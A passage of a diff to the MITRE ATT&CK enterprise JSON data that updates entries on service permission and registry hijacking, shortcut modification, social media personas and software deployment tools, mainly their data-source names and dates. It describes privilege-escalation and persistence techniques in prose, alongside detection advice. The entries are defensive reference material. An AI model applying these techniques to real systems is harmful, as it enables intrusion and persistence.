permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.", + "name": "Services File Permissions Weakness", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "x_mitre_data_sources": [ - "Process command-line parameters", - "Services", - "File monitoring" + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1574.010", + "url": "https://attack.mitre.org/techniques/T1574/010" + }, + { + "external_id": "CAPEC-17", + "source_name": "capec", + "url": "https://capec.mitre.org/data/definitions/17.html" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_detection": "Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. ", + "x_mitre_permissions_required": [ + "Administrator", + "User" ], - "x_mitre_version": "1.0", - "x_mitre_is_subtechnique": true, "x_mitre_effective_permissions": [ "SYSTEM", "Administrator", "User" ], - "x_mitre_permissions_required": [ - "Administrator", - "User" + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.0", + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Modification", + "Process: Process Creation", + "Service: Service Metadata" ], - "x_mitre_detection": "Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. ", - "x_mitre_platforms": [ - "Windows" + "x_mitre_contributors": [ + "Travis Smith, Tripwire", + "Stefan Kanthak" ] }, { + "created": "2020-03-13T11:42:14.444Z", + "modified": "2020-09-16T19:07:48.590Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "type": "attack-pattern", + "id": "attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c", + "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter Registry keys associated with service failure parameters (such as FailureCommand) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness) ", + "name": "Services Registry Permissions Weakness", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -28840,54 +30257,31 @@ "description": "Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020." } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Services Registry Permissions Weakness", - "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter Registry keys associated with service failure parameters (such as FailureCommand) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness) ", - "id": "attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "modified": "2020-09-16T19:07:48.590Z", - "created": "2020-03-13T11:42:14.444Z", - "x_mitre_defense_bypassed": [ - "Application control" - ], - "x_mitre_version": "1.0", - "x_mitre_is_subtechnique": true, - "x_mitre_effective_permissions": [ - "SYSTEM" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User" - ], - "x_mitre_detection": "Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.", - "x_mitre_data_sources": [ - "Windows Registry", - "Services", - "Process command-line parameters" + "x_mitre_platforms": [ + "Windows" ], "x_mitre_contributors": [ "Travis Smith, Tripwire", "Matthew Demaske, Adaptforward" ], - "x_mitre_platforms": [ - "Windows" + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Modification", + "Process: Process Creation", + "Service: Service Metadata", + "Command: Command Execution" + ], + "x_mitre_detection": "Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.", + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "x_mitre_effective_permissions": [ + "SYSTEM" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.0", + "x_mitre_defense_bypassed": [ + "Application control" ] }, { @@ -28960,9 +30354,9 @@ ], "x_mitre_detection": "Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.", "x_mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" + "Command: Command Execution", + "File: File Metadata", + "File: File Modification" ], "x_mitre_platforms": [ "Linux", @@ -29007,10 +30401,8 @@ ], "x_mitre_detection": "Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to %SystemRoot% and %ProgramFiles% directories will protect against module loads from unsafe paths. \n\nCorrelation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.", "x_mitre_data_sources": [ - "API monitoring", - "DLL monitoring", - "File monitoring", - "Process monitoring" + "Process: OS API Execution", + "Module: Module Load" ], "x_mitre_contributors": [ "Stefan Kanthak" @@ -29063,10 +30455,6 @@ "x_mitre_deprecated": true, "x_mitre_is_subtechnique": false, "x_mitre_version": "1.0", - "x_mitre_data_sources": [ - "File monitoring", - "Process monitoring" - ], "x_mitre_detection": "Use file and process monitoring to detect when files are written to a Web server by a process that is not the normal Web server process or when files are written outside of normal administrative time periods. Use process monitoring to identify normal processes that run on the Web server and detect processes that are not typically executed.", "x_mitre_system_requirements": [ "Shared webroot directory on remote system" @@ -29106,9 +30494,8 @@ "created": "2020-02-14T13:35:32.938Z", "x_mitre_detection": "The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. \n\n", "x_mitre_data_sources": [ - "Office 365 audit logs", - "Authentication logs", - "Application logs" + "Logon Session: Logon Session Creation", + "Application Log: Application Log Content" ], "x_mitre_version": "1.0", "x_mitre_is_subtechnique": true, @@ -29141,6 +30528,13 @@ "created": "2017-05-31T21:30:30.757Z" }, { + "id": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", + "description": "Adversaries may create or edit shortcuts to run a program during system boot or user login. Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.\n\nAdversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.", + "name": "Shortcut Modification", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -29151,15 +30545,13 @@ "external_id": "CAPEC-132", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/132.html" + }, + { + "source_name": "BSidesSLC 2020 - LNK Elastic", + "url": "https://www.youtube.com/watch?v=nJ0UsyiUEqQ", + "description": "French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger Than Its Weakest LNK. Retrieved November 30, 2020." } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Shortcut Modification", - "description": "Adversaries may create or edit shortcuts to run a program during system boot or user login. Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.\n\nAdversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.", - "id": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "type": "attack-pattern", "kill_chain_phases": [ { @@ -29171,26 +30563,28 @@ "phase_name": "privilege-escalation" } ], - "modified": "2020-03-25T17:21:27.487Z", + "modified": "2021-04-13T21:30:24.555Z", "created": "2020-01-24T19:00:32.917Z", - "x_mitre_version": "1.0", - "x_mitre_is_subtechnique": true, + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_contributors": [ + "David French, Elastic", + "Bobby, Filar, Elastic", + "Travis Smith, Tripwire" + ], + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Modification", + "Process: Process Creation" + ], + "x_mitre_detection": "Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.\n\nMonitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic)", "x_mitre_permissions_required": [ "Administrator", "User" ], - "x_mitre_detection": "Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.", - "x_mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "x_mitre_contributors": [ - "Travis Smith, Tripwire" - ], - "x_mitre_platforms": [ - "Windows" - ] + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.1" }, { "id": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4", @@ -29214,7 +30608,7 @@ "phase_name": "defense-evasion" } ], - "modified": "2020-10-21T18:37:15.275Z", + "modified": "2021-01-20T18:12:12.134Z", "created": "2018-04-18T17:59:24.739Z", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ @@ -29236,15 +30630,13 @@ "Praetorian" ], "x_mitre_data_sources": [ - "API monitoring", - "File monitoring", - "Binary file metadata", - "Process use of network", - "Windows Registry", - "Loaded DLLs", - "DLL monitoring", - "Process monitoring", - "Process command-line parameters" + "Process: Process Creation", + "File: File Creation", + "Module: Module Load", + "Process: OS API Execution", + "Command: Command Execution", + "Windows Registry: Windows Registry Key Modification", + "Network Traffic: Network Connection Creation" ], "x_mitre_version": "2.1" }, @@ -29293,8 +30685,9 @@ "Praetorian" ], "x_mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters" + "Process: Process Creation", + "Command: Command Execution", + "Script: Script Execution" ], "x_mitre_version": "1.1" }, @@ -29338,8 +30731,7 @@ "modified": "2020-03-25T21:46:46.831Z", "created": "2020-02-11T19:14:48.309Z", "x_mitre_data_sources": [ - "Authentication logs", - "Windows event logs" + "Logon Session: Logon Session Metadata" ], "x_mitre_permissions_required": [ "User" @@ -29369,7 +30761,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Social Media", - "description": "Before compromising a victim, adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.\n\nAdversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim\u2019s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", + "description": "Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.\n\nAdversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim\u2019s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", "id": "attack-pattern--bbe5b322-e2af-4a5e-9625-a4e62bf84ed3", "type": "attack-pattern", "kill_chain_phases": [ @@ -29378,7 +30770,7 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T04:22:46.235Z", + "modified": "2021-04-15T03:52:40.958Z", "created": "2020-10-02T16:49:31.262Z", "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.0", @@ -29410,7 +30802,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Social Media Accounts", - "description": "Before compromising a victim, adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the utilization of a persona on social media may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona on social media may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. \n\nOnce a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", + "description": "Adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the utilization of a persona on social media may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona on social media may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. \n\nOnce a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", "id": "attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928", "type": "attack-pattern", "kill_chain_phases": [ @@ -29419,11 +30811,8 @@ "phase_name": "resource-development" } ], - "modified": "2020-10-20T17:58:13.557Z", + "modified": "2021-04-15T03:10:35.708Z", "created": "2020-10-01T01:08:41.124Z", - "x_mitre_data_sources": [ - "Social media monitoring" - ], "x_mitre_detection": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", "x_mitre_version": "1.0", "x_mitre_is_subtechnique": true, @@ -29459,7 +30848,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Social Media Accounts", - "description": "Before compromising a victim, adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising social media accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", + "description": "Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising social media accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", "id": "attack-pattern--274770e0-2612-4ccf-a678-ef8e7bad365d", "type": "attack-pattern", "kill_chain_phases": [ @@ -29468,11 +30857,8 @@ "phase_name": "resource-development" } ], - "modified": "2020-10-20T17:57:43.708Z", + "modified": "2021-04-15T02:59:06.872Z", "created": "2020-10-01T01:18:35.535Z", - "x_mitre_data_sources": [ - "Social media monitoring" - ], "x_mitre_detection": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", "x_mitre_version": "1.0", "x_mitre_is_subtechnique": true, @@ -29498,7 +30884,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Software", - "description": "Before compromising a victim, adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", + "description": "Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "id": "attack-pattern--baf60e1a-afe5-4d31-830f-1b1ba2351884", "type": "attack-pattern", "kill_chain_phases": [ @@ -29507,7 +30893,7 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T03:53:39.162Z", + "modified": "2021-04-15T03:23:57.876Z", "created": "2020-10-02T16:42:17.482Z", "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.0", @@ -29532,7 +30918,7 @@ "url": "https://capec.mitre.org/data/definitions/187.html" } ], - "description": "Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.).\n\nAccess to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose.", + "description": "Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.).\n\nAccess to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose.", "name": "Software Deployment Tools", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "id": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414", @@ -29547,18 +30933,13 @@ "phase_name": "lateral-movement" } ], - "modified": "2020-09-16T15:27:01.403Z", + "modified": "2020-12-11T17:00:00.938Z", "created": "2017-05-31T21:30:57.201Z", "x_mitre_is_subtechnique": false, "x_mitre_version": "2.1", "x_mitre_data_sources": [ - "Authentication logs", - "File monitoring", - "Third-party application logs", - "Windows Registry", - "Process monitoring", - "Process use of network", - "Binary file metadata" + "Application Log: Application Log Content", + "Process: Process Creation" ], "x_mitre_detection": "Detection methods will vary depending on the type of third-party software or system and how it is typically used. \n\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Ensure that third-party application logs are on-boarded to the enterprise logging system and the logs are regularly reviewed. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious. Monitor account login activity on these applications to detect suspicious/abnormal usage.\n\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.", "x_mitre_platforms": [ @@ -29603,33 +30984,31 @@ "phase_name": "discovery" } ], - "modified": "2020-09-16T19:36:17.133Z", + "modified": "2021-03-29T16:05:00.456Z", "created": "2019-09-16T17:52:44.147Z", "x_mitre_is_subtechnique": false, - "x_mitre_version": "1.2", + "x_mitre_version": "1.3", "x_mitre_permissions_required": [ "User", "Administrator" ], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. 